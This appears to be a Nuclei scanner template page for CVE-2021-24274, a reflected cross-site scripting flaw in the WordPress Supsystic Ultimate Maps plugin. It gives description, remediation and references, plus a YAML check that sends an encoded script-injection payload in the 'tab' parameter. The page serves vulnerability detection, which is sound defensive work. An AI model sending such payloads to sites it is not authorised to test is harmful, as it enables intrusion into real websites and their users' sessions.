WordPress Supsystic Ultimate Maps <1.2.5 - Cross-Site Scripting

ID: CVE-2021-24274

Severity: medium

Author: DhiyaneshDK

Tags: cve2021,cve,wpscan,packetstorm,wordpress,wp-plugin,maps,supsystic,xss

Description

WordPress Supsystic Ultimate Maps plugin before 1.2.5 contains an unauthenticated reflected cross-site scripting vulnerability due to improper sanitization of the tab parameter on the options page before outputting it in an attribute.

YAML Source

id: CVE-2021-24274

info:
  name: WordPress Supsystic Ultimate Maps <1.2.5 - Cross-Site Scripting
  author: DhiyaneshDK
  severity: medium
  description: WordPress Supsystic Ultimate Maps plugin before 1.2.5 contains an unauthenticated reflected cross-site scripting vulnerability due to improper sanitization of the tab parameter on the options page before outputting it in an attribute.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to inject malicious scripts into the affected website, potentially leading to session hijacking, defacement, or theft of sensitive information.
  remediation: |
    Update the WordPress Supsystic Ultimate Maps plugin to version 1.2.5 or later to mitigate the vulnerability.
  reference:
    - https://wpscan.com/vulnerability/200a3031-7c42-4189-96b1-bed9e0ab7c1d
    - http://packetstormsecurity.com/files/164316/WordPress-Ultimate-Maps-1.2.4-Cross-Site-Scripting.html
    - https://nvd.nist.gov/vuln/detail/CVE-2021-24274
    - https://github.com/ARPSyndicate/kenzer-templates
    - https://github.com/ARPSyndicate/cvemon
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2021-24274
    cwe-id: CWE-79
    epss-score: 0.00201
    epss-percentile: 0.56972
    cpe: cpe:2.3:a:supsystic:ultimate_maps:*:*:*:*:*:wordpress:*:*
  metadata:
    max-request: 1
    vendor: supsystic
    product: ultimate_maps
    framework: wordpress
  tags: cve2021,cve,wpscan,packetstorm,wordpress,wp-plugin,maps,supsystic,xss

flow: http(1) && http(2)

http:
  - raw:
      - |
        GET / HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: word
        internal: true
        words:
          - '/wp-content/plugins/ultimate-maps-by-supsystic/modules/maps/css/'
        condition: and

  - raw:
      - |
        GET /wp-admin/admin.php?page=ultimate-maps-supsystic&tab=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E HTTP/1.1
        Host: {{Hostname}}

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '</script><script>alert(document.domain)</script>'

      - type: word
        part: header
        words:
          - "text/html"

      - type: status
        status:
          - 200
# digest: 4b0a0048304602210081ab34378c879baf08d426bc4155f2db90f10b9ad4d3289f919023f57743945702210097d74529fc3655a4db9e2ba6595da4eb6bb38cd4c8b44b5c26c40dd96b5ecb0a:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

$ nuclei -u "URL" -t "http/cves/2021/CVE-2021-24274.yaml"

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